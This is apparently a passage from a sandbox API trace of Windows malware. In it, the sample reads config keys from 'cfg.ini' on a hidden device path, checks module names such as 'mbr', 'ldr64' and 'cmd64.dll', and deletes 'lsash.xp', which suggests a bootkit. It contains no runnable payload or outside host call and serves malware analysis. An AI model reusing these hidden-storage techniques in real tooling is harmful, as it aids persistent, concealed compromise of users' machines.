IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.904] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.904] IdePortDispatch () returned 0x103 [0124.906] KeWaitForMutexObject () returned 0x0 [0124.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.906] KeLeaveCriticalRegion () [0124.906] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.907] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.907] KeEnterCriticalRegion () [0124.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] KeLeaveCriticalRegion () [0124.907] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.907] KeEnterCriticalRegion () [0124.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.907] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] KeLeaveCriticalRegion () [0124.907] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.907] KeEnterCriticalRegion () [0124.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] ExFreePoolWithTag (P=0xfffffa8003bf3220, Tag=0x0) [0124.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] KeLeaveCriticalRegion () [0124.907] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.907] ReleaseMutex (hMutex=0xf0) returned 1 [0124.907] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.907] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.907] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.907] KeEnterCriticalRegion () [0124.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.907] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.907] IdePortDispatch () returned 0x103 [0124.908] KeWaitForMutexObject () returned 0x0 [0124.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.908] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.908] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.908] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.908] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.908] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beed00 [0124.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.908] KeLeaveCriticalRegion () [0124.908] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.908] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.908] KeEnterCriticalRegion () [0124.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.908] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.908] KeLeaveCriticalRegion () [0124.908] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.908] KeEnterCriticalRegion () [0124.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.908] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.908] IdePortDispatch () returned 0x103 [0124.909] KeWaitForMutexObject () returned 0x0 [0124.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.909] KeLeaveCriticalRegion () [0124.909] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.909] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.909] KeEnterCriticalRegion () [0124.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035de000 [0124.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.909] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.909] IdePortDispatch () returned 0x103 [0124.909] KeWaitForMutexObject () returned 0x0 [0124.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.909] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.909] IdePortDispatch () returned 0x103 [0124.910] KeWaitForMutexObject () returned 0x0 [0124.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.910] KeLeaveCriticalRegion () [0124.910] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.910] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.910] KeEnterCriticalRegion () [0124.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.910] KeLeaveCriticalRegion () [0124.910] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.911] KeEnterCriticalRegion () [0124.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.911] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] KeLeaveCriticalRegion () [0124.911] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.911] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.911] KeEnterCriticalRegion () [0124.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] ExFreePoolWithTag (P=0xfffffa8003beed00, Tag=0x0) [0124.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] KeLeaveCriticalRegion () [0124.911] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.911] ReleaseMutex (hMutex=0xf0) returned 1 [0124.911] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.911] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.911] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.911] KeEnterCriticalRegion () [0124.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.911] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.911] IdePortDispatch () returned 0x103 [0124.911] KeWaitForMutexObject () returned 0x0 [0124.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.911] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.911] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.911] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.911] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.911] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4d70 [0124.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.911] KeLeaveCriticalRegion () [0124.911] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.911] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.912] KeEnterCriticalRegion () [0124.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.912] KeLeaveCriticalRegion () [0124.912] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.912] KeEnterCriticalRegion () [0124.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.912] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.912] IdePortDispatch () returned 0x103 [0124.912] KeWaitForMutexObject () returned 0x0 [0124.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.912] KeLeaveCriticalRegion () [0124.912] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.912] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.912] KeEnterCriticalRegion () [0124.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035df000 [0124.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.912] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.912] IdePortDispatch () returned 0x103 [0124.913] KeWaitForMutexObject () returned 0x0 [0124.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.913] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.913] IdePortDispatch () returned 0x103 [0124.913] KeWaitForMutexObject () returned 0x0 [0124.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.913] KeLeaveCriticalRegion () [0124.913] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.913] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.913] KeEnterCriticalRegion () [0124.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.913] KeLeaveCriticalRegion () [0124.913] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.914] KeEnterCriticalRegion () [0124.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.914] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.914] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.914] KeLeaveCriticalRegion () [0124.914] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.914] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.914] KeEnterCriticalRegion () [0124.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.914] ExFreePoolWithTag (P=0xfffffa8003bf4d70, Tag=0x0) [0124.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.914] KeLeaveCriticalRegion () [0124.914] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.914] ReleaseMutex (hMutex=0xf0) returned 1 [0124.914] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.914] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.914] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.914] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.914] KeEnterCriticalRegion () [0124.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.914] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.914] IdePortDispatch () returned 0x103 [0124.914] KeWaitForMutexObject () returned 0x0 [0124.914] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.914] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.914] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.914] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.914] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.914] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.914] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.914] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.914] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.914] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.914] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.915] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.915] KeLeaveCriticalRegion () [0124.915] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.915] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.915] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.915] KeEnterCriticalRegion () [0124.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.915] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.915] IdePortDispatch () returned 0x103 [0124.916] KeWaitForMutexObject () returned 0x0 [0124.916] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.916] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.916] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.916] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.916] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.916] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.916] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.916] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.916] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.916] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.916] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.917] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.917] KeLeaveCriticalRegion () [0124.917] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.917] ReleaseMutex (hMutex=0x100) returned 1 [0124.917] Sleep (dwMilliseconds=0x2bf20) [0124.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6da81ad0, dwHighDateTime=0x1d24fa4)) [0124.923] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.923] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.923] KeEnterCriticalRegion () [0124.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.923] IdePortDispatch () returned 0x103 [0124.924] KeWaitForMutexObject () returned 0x0 [0124.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.924] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.924] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.924] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.924] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.924] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf45f0 [0124.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.924] KeLeaveCriticalRegion () [0124.924] IofCompleteRequest 